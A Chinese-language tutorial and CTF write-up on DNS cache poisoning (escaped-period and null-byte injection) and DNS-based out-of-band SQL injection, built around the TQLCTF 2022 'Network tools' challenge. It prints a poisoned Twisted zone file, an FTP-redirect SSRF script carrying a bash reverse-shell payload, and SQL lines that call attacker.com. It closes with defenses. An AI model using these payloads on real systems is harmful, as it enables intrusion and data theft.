从一道题开始学习DNS缓存攻击
字数 1668 2025-08-29 08:31:47

DNS缓存攻击与DNS隧道技术详解

一、DNS基础与解析机制

1.1 DNS基本概念

DNS(域名系统)是因特网中的核心服务,用于实现域名和IP地址相互映射的分布式数据库。通过主机名获取对应IP地址的过程称为域名解析。

1.2 DNS解析流程

  1. 用户端向DNS服务器发送查询请求
  2. 请求经过网络节点设备(路由器、交换机、网关等)
  3. DNS服务器返回解析结果
  4. 用户端接收第一个到达的响应作为最终结果

重要原则:DNS解析机制"只认第一",即优先采用最先到达的响应。

二、DNS缓存攻击原理

2.1 攻击原理概述

攻击者在DNS资源记录中插入控制字符或特殊字符,影响DNS解析结果,实现:

  • DNS缓存污染
  • SQL注入
  • XSS攻击等

2.2 攻击场景模拟

假设:

  • A:用户端
  • B:DNS服务器
  • C:中间网络节点

攻击过程:

  1. A向B发送DNS查询请求
  2. C截获请求并分析特征(DNS端口、特定域名、记录类型)
  3. C抢先返回伪造的解析结果
  4. A接收C的响应作为最终结果

三、DNS缓存投毒技术

3.1 句点注入(\.)

原理\\.在解码时被当作.字符

示例记录:

www\\.example.com. A 1.1.1.1

存入缓存后实际将www.example.com解析为1.1.1.1

利用方式

  1. 攻击者拥有特殊域名www\\.example.com
  2. 使用CNAME记录重定向

示例:

inject.attacker.com. CNAME www\\.example.com.
www\\.example.com. A 1.1.1.1

3.2 零字节截断(\000)

原理\\000是C语言字符串结束符,会导致字符串截断

示例记录:

inject.attacker.com. CNAME www.example.com\\000.attacker.com
www.example.com\\000.attacker.com A 1.1.1.1

解码后缓存www.example.com1.1.1.1的映射

四、DNS隧道与SSRF攻击实践

4.1 例题分析 - [TQLCTF 2022]Network tools

漏洞点

  1. FTP SSRF(ftpcheck路由)
  2. 本地访问限制的shell(shellcheck路由)

攻击思路

  1. 污染token.ftp.testsweb.xyz的DNS缓存
  2. 将其指向攻击者服务器IP
  3. 实现FTP SSRF访问预留webshell

4.2 攻击实施步骤

  1. DNS服务器配置(使用Twisted框架):
zone = [
    SOA(
        'a.testsweb.xyz',
        mname="b.testsweb.xyz.",
        rname="admin.a.testsweb.xyz",
        serial=0,
        refresh="1H",
        retry="30M",
        expire="1M",
        minimum="30"
    ),
    NS('a.testsweb.xyz', 'b.testsweb.xyz'),
    CNAME('ftp.a.testsweb.xyz', 'token.ftp.testsweb.xyz\\000.a.testsweb.xyz'),
    A('token.ftp.testsweb.xyz\\000.a.testsweb.xyz', 'X.X.X.X'),
]
  1. 启动DNS服务器
sudo service systemd-resolved stop
sudo twisted -n dns --pyzone a.testweb.xyz
  1. 触发DNS查询
    查询ftp.a.testweb.xyz使token.ftp.testweb.xyz缓存被污染

  2. FTP重定向攻击

# FTP重定向脚本示例
import socket
from urllib.parse import unquote

payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

五、数据库系统中的DNS注入

5.1 Microsoft SQL Server注入

利用扩展存储程序

  1. master..xp_dirtree - 获取文件夹列表
    EXEC master..xp_dirtree '\\attacker.com\share';
    
  2. master..xp_fileexist - 检查文件存在
    EXEC master..xp_fileexist '\\attacker.com\file';
    
  3. master..xp_subdirs - 获取子文件夹

5.2 Oracle注入技术

可利用函数

  1. UTL_INADDR.GET_HOST_ADDRESS
    SELECT UTL_INADDR.GET_HOST_ADDRESS('attacker.com');
    
  2. UTL_HTTP.REQUEST
    SELECT UTL_HTTP.REQUEST('http://attacker.com') FROM DUAL;
    
  3. HTTPURITYPE.GETCLOB
  4. DBMS_LDAP.INIT

5.3 MySQL注入技术

利用函数

SELECT LOAD_FILE('\\\\attacker.com\\file');

六、防御措施

6.1 DNS缓存投毒防御

  1. 输入验证

    • 对DNS解析结果进行严格过滤
    • 处理特殊字符(\\.\\000
  2. 协议增强

    • 使用DNSSEC(DNS安全扩展)
    • 实施随机源端口和事务ID
  3. 配置加固

    • 限制递归查询
    • 禁用不必要的DNS功能

6.2 数据库注入防御

  1. 权限控制

    • 限制数据库用户权限
    • 禁用危险存储过程和函数
  2. 输入过滤

    • 对所有用户输入进行严格验证
    • 使用参数化查询
  3. 网络控制

    • 限制数据库外联能力
    • 监控异常DNS请求

七、工具与资源

7.1 常用工具

  1. SQLMap:支持DNS渗出技术(需--dns-domain参数)
  2. Twisted:Python网络引擎框架,可用于搭建DNS服务器
  3. dnscat2:DNS隧道工具

7.2 参考资源

  1. RFC 1034 - DNS域名标准
  2. Data Retrieval over DNS in SQL Injection Attacks (arxiv.org)
  3. OWASP DNS安全指南
DNS缓存攻击与DNS隧道技术详解 一、DNS基础与解析机制 1.1 DNS基本概念 DNS(域名系统)是因特网中的核心服务,用于实现域名和IP地址相互映射的分布式数据库。通过主机名获取对应IP地址的过程称为域名解析。 1.2 DNS解析流程 用户端向DNS服务器发送查询请求 请求经过网络节点设备(路由器、交换机、网关等) DNS服务器返回解析结果 用户端接收第一个到达的响应作为最终结果 重要原则 :DNS解析机制"只认第一",即优先采用最先到达的响应。 二、DNS缓存攻击原理 2.1 攻击原理概述 攻击者在DNS资源记录中插入控制字符或特殊字符,影响DNS解析结果,实现: DNS缓存污染 SQL注入 XSS攻击等 2.2 攻击场景模拟 假设: A:用户端 B:DNS服务器 C:中间网络节点 攻击过程: A向B发送DNS查询请求 C截获请求并分析特征(DNS端口、特定域名、记录类型) C抢先返回伪造的解析结果 A接收C的响应作为最终结果 三、DNS缓存投毒技术 3.1 句点注入(\\.) 原理 : \\. 在解码时被当作 . 字符 示例记录: 存入缓存后实际将 www.example.com 解析为 1.1.1.1 利用方式 : 攻击者拥有特殊域名 www\\.example.com 使用CNAME记录重定向 示例: 3.2 零字节截断(\\000) 原理 : \\000 是C语言字符串结束符,会导致字符串截断 示例记录: 解码后缓存 www.example.com 到 1.1.1.1 的映射 四、DNS隧道与SSRF攻击实践 4.1 例题分析 - [ TQLCTF 2022 ]Network tools 漏洞点 : FTP SSRF( ftpcheck 路由) 本地访问限制的shell( shellcheck 路由) 攻击思路 : 污染 token.ftp.testsweb.xyz 的DNS缓存 将其指向攻击者服务器IP 实现FTP SSRF访问预留webshell 4.2 攻击实施步骤 DNS服务器配置 (使用Twisted框架): 启动DNS服务器 : 触发DNS查询 : 查询 ftp.a.testweb.xyz 使 token.ftp.testweb.xyz 缓存被污染 FTP重定向攻击 : 五、数据库系统中的DNS注入 5.1 Microsoft SQL Server注入 利用扩展存储程序 : master..xp_dirtree - 获取文件夹列表 master..xp_fileexist - 检查文件存在 master..xp_subdirs - 获取子文件夹 5.2 Oracle注入技术 可利用函数 : UTL_INADDR.GET_HOST_ADDRESS UTL_HTTP.REQUEST HTTPURITYPE.GETCLOB DBMS_LDAP.INIT 5.3 MySQL注入技术 利用函数 : 六、防御措施 6.1 DNS缓存投毒防御 输入验证 : 对DNS解析结果进行严格过滤 处理特殊字符( \\. 和 \\000 ) 协议增强 : 使用DNSSEC(DNS安全扩展) 实施随机源端口和事务ID 配置加固 : 限制递归查询 禁用不必要的DNS功能 6.2 数据库注入防御 权限控制 : 限制数据库用户权限 禁用危险存储过程和函数 输入过滤 : 对所有用户输入进行严格验证 使用参数化查询 网络控制 : 限制数据库外联能力 监控异常DNS请求 七、工具与资源 7.1 常用工具 SQLMap :支持DNS渗出技术(需 --dns-domain 参数) Twisted :Python网络引擎框架,可用于搭建DNS服务器 dnscat2 :DNS隧道工具 7.2 参考资源 RFC 1034 - DNS域名标准 Data Retrieval over DNS in SQL Injection Attacks (arxiv.org) OWASP DNS安全指南